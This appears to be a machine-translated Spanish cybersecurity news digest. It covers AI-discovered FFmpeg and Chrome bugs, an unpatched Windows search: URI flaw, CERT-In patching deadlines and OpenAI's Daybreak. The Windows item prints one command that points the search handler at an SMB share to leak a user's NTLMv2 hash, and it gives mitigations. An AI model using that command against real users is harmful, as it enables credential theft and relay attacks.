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La mayoría son desbordamientos de pila o montón en analizadores y demuxers, que abarcan componentes desde el demuxer TS hasta el decodificador VP9. Depthfirst dice que algunos ya llevan identificadores CVE; su informe enumera nueve, CVE-2026-39210 a CVE-2026-39218, y señala que el resto están arreglados pero aún no numerados. También publicó un PoC.

En noticias separadas, Chrome 149 corrige 429 vulnerabilidades, un récord para una sola versión. Más de 100 son críticos o de alta gravedad, en su mayoría de uso después de la liberación y validación de entrada insuficiente.

Lo peor, CVE-2026-10881 (CVSS 9.6), es una lectura y escritura fuera de límites en el motor gráfico ANGLE que permite que una página diseñada escape del entorno limitado y ejecute código en el host. Google pagó 97.000 dólares por él.

Los errores de mayor gravedad fueron en su mayoría hallazgos internos: de aproximadamente 90 errores de alta gravedad, sólo 10 provinieron de investigadores externos y 19 de los 22 críticos fueron del propio Google. La conexión con la IA tiene más que ver con el volumen que con la autoría.

Google no ha vinculado el 429 a la IA; la señal grabada es la revisión de recompensas lo hizo en abril, motivado por una avalancha de envíos generados por IA y ahora solicita un reproductor conciso de los largos artículos que produce la IA.

El agente Big Sleep de Google informó una serie de errores de FFmpeg el año pasado, ahora visibles en la página del proyecto. pagina de seguridad etiquetado como BIGSLEEP, y el modelo Mythos de Anthropic sacó un defecto H.264 de 16 años de antigüedad y otros de FFmpeg por alrededor de $10,000, tres de los cuales se enviaron en FFmpeg 8.1, según su propia redacción.

Hace días, otra herramienta autónoma encontró un RCE autenticado en Redis que había estado presente desde la versión 7.2.0, desapercibido durante más de dos años. La investigación apunta en la misma dirección: en un estudio de febrero, un agente reprodujo PoC en funcionamiento durante más de la mitad de los casos. 100 errores reales del kernel de Linux de N díassuperando la pelusa.

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Para FFmpeg, extraiga la compilación ascendente fija o la actualización de seguridad de su distribución tan pronto como llegue, y priorice cualquier cosa que ingiera RTSP o AV1-over-RTP que no sea de confianza. FFmpeg se incluye ampliamente en canalizaciones de medios, ruedas de Python, imágenes de contenedores y dispositivos, por lo que no se detenga en los paquetes del sistema; esas copias incrustadas también necesitan parches.

Para Chrome, actualice a 149.0.7827.53 en Linux o 149.0.7827.53/54 en Windows y macOS, o confirme que se haya ejecutado la actualización automática.

La respuesta tiene que adaptarse al nuevo ritmo: ciclos de parches más cortos, actualización automática dondequiera que exista y aumentos de dependencia que conllevan correcciones CVE tratadas como trabajo de seguridad, no como mantenimiento de rutina.

Sin embargo, lo difícil es cambiar. Encontrar estos errores se ha vuelto barato; clasificar los informes, enviar las correcciones e instalarlas no lo ha hecho, y gran parte de ese trabajo aún recae en voluntarios y una delgada capa de evaluadores humanos que ahora se espera que sigan el ritmo de las máquinas.

Una vulnerabilidad de URI de búsqueda de Windows sin parches permite a los atacantes robar hashes NTLMv2 – CYBERDEFENSA.MX

Investigadores de ciberseguridad han revelado detalles de un problema sin parchear que podría explotarse para revelar el hash NTLMv2 de un usuario al atacante.

Como en el caso de CVE-2026-33829que afectó al controlador ms-screensketch: URI de la herramienta de recorte de Windows, el problema recién señalado reside en la búsqueda: controlador URI, según Cazadora.

CVE-2026-33829 hace referencia a una vulnerabilidad de suplantación de identidad que podría exponer información confidencial a un actor no autorizado. Microsoft lo parchó en abril de 2026.

«Un atacante podría inducir al usuario a hacer clic en un enlace especialmente diseñado en un navegador web u otra fuente URL, incrustándolo en una página web o mensaje de correo electrónico», señaló Microsoft en su aviso en ese momento.

«Si el usuario aprueba el lanzamiento del enlace, la URL diseñada puede inducir a la computadora a conectarse a un servidor SMB elegido por el atacante, lo que revelaría el hash NTLMv2 del usuario al atacante, quien podría usarlo para autenticarse como usuario».

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Específicamente, el problema tenía que ver con el hecho de que el controlador de URI de la herramienta de recorte aceptó un parámetro «filePath», no pudo validarlo y llegaría a cualquier ruta de la Convención de nomenclatura universal (UNC) que se le pasara. Esto, a su vez, podría activar la autenticación NTLM y exponer el hash Net-NTLMv2 de la víctima al atacante.

La deficiencia recién descubierta logra el mismo objetivo final usando «buscar:» y «crumb=ubicación:» en lugar de «filePath» usando un comando como el siguiente:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

«Utilizó el mismo mecanismo de fuga NTLM, produjo la misma fuga Net-NTLMv2, tenía los mismos requisitos previos y tenía la misma calificación Moderada», dijo el investigador de Huntress, Andrew Schwartz. Vale la pena señalar que el uso de un parámetro «crumb» para robar el hash (CVE-2023-35636) era documentado por Varonis en febrero de 2024.

Como resultado, un actor de amenazas podría aprovechar el hash capturado para realizar ataques de retransmisión y obtener un acceso más profundo a una red. Tras la divulgación responsable el 15 de abril de 2026, Microsoft se negó a abordar el problema y afirmó que «solo los casos de gravedad importantes y críticos cumplen con nuestro estándar de servicio».

En ausencia de una solución, se recomienda bloquear SMB saliente (TCP/445 y TCP/139) en hosts que no lo necesitan, aplicar la firma SMB para que los hashes capturados no puedan transmitirse a servicios internos y deshabilitar NTLM cuando corresponda.

CERT-In exige parches de 12 horas para fallas en Internet en medio de ataques asistidos por IA – CYBERDEFENSA.MX

El Equipo de Respuesta a Emergencias Informáticas de la India (CERT-In) ha emitido nuevas directrices que exigen a las organizaciones parchear las vulnerabilidades de seguridad críticas en los sistemas expuestos a Internet dentro de las 12 horas posteriores a su señalización cuando sean «factibles» para protegerse contra amenazas potenciales derivadas del abuso de herramientas de inteligencia artificial (IA) y modelos de lenguaje grande (LLM) por parte de los actores de amenazas para automatizar el descubrimiento y la explotación de vulnerabilidades, y mejorar la escala y velocidad de los ataques cibernéticos.

«La ciberexplotación asistida por IA reduce el tiempo necesario para que los adversarios identifiquen, utilicen como armas y exploten vulnerabilidades, servicios expuestos, identidades débiles, API inseguras y sistemas mal configurados», CERT-In dicho en un plan de 38 páginas publicado el lunes.

«A medida que las organizaciones se vuelven cada vez más dependientes de la infraestructura digital interconectada, los ecosistemas de nube, las cadenas de suministro de software, las tecnologías operativas y las plataformas habilitadas para IA, el impacto potencial de las ciberamenazas habilitadas por IA continúa aumentando en todos los sectores».

Dado que los actores de amenazas comienzan a depender cada vez más de la IA para una amplia gama de tareas, incluido el descubrimiento de superficies de ataque, el análisis de exploits, contenido de phishing convincente e incluso la generación de malware, pueden comprimir significativamente los cronogramas de preparación de ataques y eludir los controles de seguridad tradicionales.

Además, los sistemas habilitados para IA pueden convertirse en blanco de ataques maliciosos a través de inyecciones rápidas, vulnerabilidades de fuga de datos, técnicas de jailbreak, manipulación de modelos, envenenamiento de datos de entrenamiento, robo de modelos y compromisos de la canalización de orquestación, socavando efectivamente su confidencialidad e integridad.

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CERT-In ha advertido que las organizaciones deben esperar que los plazos de explotación colapsen significativamente y que los ataques se vuelvan autónomos, lo que requiere la adopción de mayores medidas de ciberseguridad que impliquen una evaluación continua de las amenazas, una reducción proactiva de la exposición y una preparación operativa.

Algunos de los principios defensivos descritos por la agencia de ciberseguridad para reducir la exposición y responder mejor a las ciberamenazas asistidas por IA se enumeran a continuación:

  • Asuma la infracción y prepárese para una rápida detección, contención y recuperación de escenarios comprometidos.
  • Adopte un enfoque de Confianza Cero imponiendo una verificación continua y un acceso con privilegios mínimos.
  • Implemente una estrategia de defensa en profundidad con controles en capas en toda la infraestructura para eliminar puntos únicos de falla y minimizar el impacto general de una infracción exitosa.
  • Supervise y reduzca la exposición a vulnerabilidades de seguridad.
  • Incorpore un paradigma de seguridad por diseño en sistemas, aplicaciones y flujos de trabajo de IA.
  • Mantener la continuidad operativa durante incidentes cibernéticos y escenarios de interrupción.
  • Proteja los datos confidenciales y operativamente críticos durante todo su ciclo de vida.
  • Reduzca los riesgos de la cadena de suministro de software que surgen del software de terceros, los modelos de IA y las dependencias a través de SBOM, validación de procedencia y evaluaciones.
  • Pruebe la eficacia de la seguridad frente a amenazas en evolución mediante equipos rojos, evaluaciones de vulnerabilidad, pruebas de penetración y auditorías independientes.
  • Priorice los controles en función de la criticidad operativa y la exposición a amenazas.
  • Establecer mecanismos formales de gobernanza con respecto al uso de sistemas de IA.
  • Mantenga la visibilidad de los sistemas de IA, las integraciones y el comportamiento operativo.

«Las organizaciones deben implementar controles técnicos en capas, basados ​​en riesgos y continuamente validados para reducir la exposición a las ciberamenazas asistidas por IA», dijo CERT-In. «Los controles deben priorizar la protección de los sistemas conectados a Internet, las aplicaciones comerciales críticas, las identidades, los entornos de nube, las API, los datos confidenciales, los sistemas habilitados para IA y la infraestructura operativa».

La agencia también insta a las organizaciones a adoptar «prácticas continuas de administración de parches y vulnerabilidades basadas en riesgos» para reducir la exposición que surge de fallas de seguridad, configuraciones incorrectas, API inseguras, servicios de acceso público e identidades débiles. Con ese fin, las vulnerabilidades explotadas conocidas que afectan a los sistemas críticos y conectados a Internet deben remediarse en un plazo de 12 horas, cuando corresponda.

Otros tiempos de remediación basados ​​en riesgos son los siguientes:

  • Vulnerabilidades críticas expuestas externamente: dentro de 1 día
  • Vulnerabilidades explotadas conocidas que afectan a los sistemas internos: dentro de 1 día, a menos que se implementen y documenten otras mitigaciones
  • Vulnerabilidades internas críticas que afectan a sistemas de alto valor: en 3 días
  • Vulnerabilidades de alta gravedad: dentro de 5 días según la priorización de riesgos

En escenarios en los que no hay parches disponibles de inmediato, se recomienda implementar mitigaciones temporales como aislamiento, restricción de acceso, protección WAF/API, monitoreo mejorado o desactivación de funciones hasta que se publique la solución.

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«Dada la naturaleza en rápida evolución de las amenazas cibernéticas asistidas por IA, las organizaciones deben reevaluar continuamente la exposición, validar los controles de seguridad, fortalecer las capacidades de resiliencia y mejorar la preparación operativa a través de auditorías, monitoreo, pruebas y gobernanza coordinada de la ciberseguridad continuas», dijo CERT-In.

El modelo llega un mes después del CERT-In liberado una advertencia sobre las crecientes capacidades cibernéticas de los modelos fronterizos de IA de Anthropic y OpenAI, indicando cómo su «naturaleza de doble uso» podría «reducir la barrera de entrada para los ciberactores maliciosos y aprovecharse para acelerar la ejecución de ataques, automatizar los flujos de trabajo de explotación y escalar las campañas cibernéticas».

«Seguir el ritmo de los avances cibernéticos impulsados ​​por la IA es fundamental para mantener la resiliencia cibernética», añadió. «Los controles básicos de ciberseguridad siguen siendo críticos y deben aplicarse rigurosamente».

OpenAI lanza Daybreak para la detección de vulnerabilidades y validación de parches impulsada por IA – CYBERDEFENSA.MX

OpenAI ha lanzado Recreo de díauna nueva iniciativa de ciberseguridad que reúne capacidades de modelos de inteligencia artificial (IA) de vanguardia y Codex Security para ayudar a las organizaciones a identificar y parchear vulnerabilidades antes de que los atacantes encuentren una manera de utilizar los mismos problemas.

«Daybreak combina la inteligencia de los modelos OpenAI, la extensibilidad de Codex como un arnés de agencia y nuestros socios en todo el volante de seguridad para ayudar a hacer el mundo más seguro para todos», dijo la empresa emergente de IA. dicho. «Los defensores pueden incorporar revisión de código seguro, modelado de amenazas, validación de parches, análisis de riesgos de dependencia, detección y orientación de corrección al ciclo de desarrollo diario para que el software se vuelva más resistente desde el principio».

Al igual que Mythos de Anthropic, la idea es aprovechar la IA para inclinar la balanza a favor de los defensores y ayudar a detectar y abordar problemas de seguridad antes de que los malos actores los encuentren. El acceso a las herramientas sigue estando estrictamente controlado por ahora, y OpenAI insta a las organizaciones interesadas a solicitar un análisis de vulnerabilidades o ponerse en contacto con su equipo de ventas.

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Daybreak aprovecha Codex Security para crear un modelo de amenazas editable para un repositorio determinado que se centra en rutas de ataque realistas y código de alto impacto, identifica y prueba vulnerabilidades en un entorno aislado y propone soluciones.

El esfuerzo se basa en tres modelos: GPT-5.5 (que tiene protecciones estándar para uso general), GPT-5.5 con Trusted Access for Cyber ​​(para trabajo defensivo verificado en entornos autorizados) y GPT-5.5-Cyber ​​(un modelo permisivo para equipos rojos, pruebas de penetración y validación controlada).

Varias empresas importantes como Akamai, Cisco, Cloudflare, CrowdStrike, Fortinet, Oracle, Palo Alto Networks y Zscaler ya están integrando estas capacidades bajo la iniciativa Trusted Access for Cyber, dijo OpenAI, agregando que está trabajando con socios de la industria y el gobierno para implementar «más modelos con capacidad cibernética» en el futuro.

El lanzamiento se produce cuando las herramientas de inteligencia artificial han acortado el tiempo necesario para descubrir problemas de seguridad latentes que de otro modo podrían haber pasado desapercibidos, convirtiendo lo que antes habría requerido una cantidad significativa de tiempo y esfuerzo en un período de trabajo mucho más corto. Como resultado, el proceso de parcheo puede tener dificultades para mantenerse incluso en condiciones ideales.

A principios de marzo, HackerOne pausado su programa de recompensas por errores cita un cambio en el equilibrio entre los descubrimientos de vulnerabilidades y la capacidad de los mantenedores de código abierto para abordarlos, atribuyéndolo a cómo la investigación asistida por IA ha llevado a un aumento en el volumen de nuevas fallas y la velocidad a la que se identifican.

Esto también ha tenido el efecto secundario de lo que se llama fatiga de clasificación, donde los mantenedores del proyecto deben examinar una avalancha de informes de vulnerabilidad, algunos de los cuales podrían parecer plausibles pero completamente alucinados por los modelos de IA.

Ciberseguridad

A medida que la IA reduce la barrera para encontrar fallas de seguridad, empresas como Anthropic, Google y OpenAI han posicionado cada vez más a los agentes de seguridad de IA como una nueva capa operativa para abordar el cuello de botella de remediación y salvaguardar la infraestructura digital de una posible explotación.

En una publicación publicada la semana pasada, el investigador de seguridad Himanshu Anand dicho «La política de divulgación de 90 días está muerta», ya que los grandes modelos de lenguaje (LLM) comprimen la divulgación y explotan los plazos hasta casi cero.

«Cuando 10 investigadores no relacionados encuentran el mismo error en seis semanas, y la IA puede convertir un parche en un exploit funcional en 30 minutos, ¿qué protege exactamente la ventana de 90 días? Nadie», dijo Anand.